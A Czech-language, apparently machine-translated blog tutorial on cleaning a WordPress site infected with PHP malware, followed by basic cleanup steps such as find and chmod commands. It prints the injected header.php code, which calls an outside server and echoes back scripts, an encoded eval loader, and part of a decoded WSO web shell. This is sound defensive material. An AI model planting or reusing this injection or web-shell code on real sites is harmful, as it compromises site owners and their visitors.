Odstranit WordPress PHP Virus

Tento tutoriál představuje konkrétní případ, kdy blog WordPress bylo to nakažené. Odstranění WordPress Virus PHP.

Onehdy jsem si všiml podezřelého kódu, pro který se zdá být PHP virus WordPress. Následující kód PHP byl přítomen v header.php, před čárou </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Toto je nějaký PHP kód, který vypadá, jako by se pokoušel získat obsah zdroje z externího serveru, ale část, která odkazuje na URL, je neúplná.

Pracovní mechanismus je poněkud složitější a dělá to WordPress PHP Virus neviditelný pro návštěvníky postižených stránek. Místo toho cílí na vyhledávače (Google) a implicitně vede k výraznému snížení počtu návštěvníků dotčených webů.

Podrobnosti o malwaru WordPress PHP Virus

1. Výše ​​uvedený kód je přítomen v header.php.

2. Na serveru se objevil soubor wp-log.php ve složce wp-includes.

3. wp-log.php obsahuje zašifrovaný kód, který je však poměrně snadno dešifrovat.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Dešifrovat kód malwaru z wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Zdá se, že se jedná o škodlivý skript PHP, který obsahuje kód pro zpracování ověřování a akcí se soubory a adresáři na serveru. Je velmi snadno vidět, že tento skript obsahuje proměnné jako $auth_pass (heslo pro ověření), $default_action (výchozí akce), $default_use_ajax (ve výchozím nastavení používá Ajax) a $default_charset (výchozí nastavení znaků).

Je zřejmé, že tento skript má sekci, která kontroluje uživatelské agenty HTTP, aby zablokovali přístup k určitým webovým robotům, jako jsou vyhledávače. Má také sekci, která kontroluje bezpečnostní režim PHP a nastavuje určité pracovní adresáře.

4. Pokud v prohlížeči přistoupíte na wp-log.php, zobrazí se webová stránka s polem přihlášení. Na první pohled se zdá, že jde o správce souborů, přes který lze snadno nahrávat nové soubory na cílový server.

Jak devirujete web WordPress?

Manuální proces devirování vždy zahrnuje nejprve zjištění a pochopení toho, o jakou zranitelnost se jedná.

1. Vytvořte zálohu pro celý web. To musí zahrnovat soubory i databázi.

2. Zjistěte, jak dlouho se virus vyskytuje, a vyhledejte na webovém serveru upravené nebo nově vytvořené soubory v přibližném časovém rámci.

Například pokud chcete vidět soubory .php vytvořený nebo upravený v posledním týdnu, spusťte příkaz na serveru:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

Je to jednoduchá metoda, kterou můžete odhalit soubory WordPress infikované a obsahující malware kód.

3. Zkontrolujte soubor .htaccess podezřelých směrnic. Řádky oprávnění nebo spuštění skriptu.

4. Zkontrolujte databázi. Je dost možné, že některé příspěvky a stránky WordPress upravit pomocí malwaru nebo přidat nové uživatelé s rolí administrator.

5. Zkontrolujte oprávnění k zápisu pro složky a soubory. chmod şi chown.

Doporučená oprávnění jsou: 644 pro soubory a 755 pro adresáře.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Aktualizujte vše WordPress Plugins / WordPress Themes.

Související: Fix Redirect WordPress Hack 2023 (Virus Redirect)

Toto jsou „základní“ metody, kterými můžete web / blog devirovat WordPress. Pokud máte problémy a potřebujete pomoc, sekce komentářů je otevřená.

Věnovaný technologiím, s radostí píši na StealthSettings.com od roku 2006. Mám bohaté zkušenosti s operačními systémy: macOS, Windows a Linux, stejně jako s programovacími jazyky a platformami pro blogování (WordPress) a pro online obchody (WooCommerce, Magento, PrestaShop).

jak na to » WordPress » Odstranit WordPress PHP Virus
Zanechat komentář